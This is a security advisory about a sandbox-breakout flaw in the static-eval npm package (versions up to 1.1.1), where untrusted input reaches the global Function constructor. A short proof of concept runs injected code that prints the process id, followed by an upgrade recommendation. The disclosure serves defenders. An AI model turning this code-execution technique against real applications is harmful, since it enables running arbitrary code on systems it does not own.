Lucene search

K
nodejsMatt AustinNODEJS:548
HistoryOct 17, 2017 - 11:19 p.m.

Sandbox Breakout / Arbitrary Code Execution

2017-10-1723:19:54
Matt Austin
www.npmjs.com
165

0.015 Low

EPSS

Percentile

87.1%

Overview

Affected versions of static-eval pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = '(function(){console.log(process.pid)})()';
var ast = parse(src).body[0].expression;
var res = evaluate(ast, {});
// Will print the process id

Recommendation

Update to version 2.0.0 or later.

References

CPENameOperatorVersion
static-evalle1.1.1

0.015 Low

EPSS

Percentile

87.1%